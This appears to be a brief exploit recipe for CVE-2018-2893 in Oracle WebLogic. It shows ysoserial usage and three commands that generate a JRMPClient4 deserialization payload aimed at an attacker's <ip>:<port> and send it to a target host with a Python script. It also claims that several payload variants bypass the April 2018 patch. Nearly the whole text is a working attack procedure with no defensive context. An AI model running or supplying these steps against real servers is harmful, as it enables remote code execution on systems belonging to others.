CVE-2018-2893¶

Tools author¶

https://github.com/pyn3rd/CVE-2018-2893

Step 1¶

java -jar ysoserial-cve-2018-2893.jar

WHY SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
     Payload     Authors   Dependencies
     -------     -------   ------------
     JRMPClient  @mbechler
     JRMPClient2 
     JRMPClient3 
     JRMPClient4 
     Jdk7u21     @frohoff

Step 2¶

java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "<ip>:<port>" > poc4.ser

Step 3¶

python weblogic.py <host> <port> poc4.ser

Note: Any one of JRMPClient2|JRMPClient3|JRMPClient4 can be utilized to bypass the Critical Patch Update April 2018.¶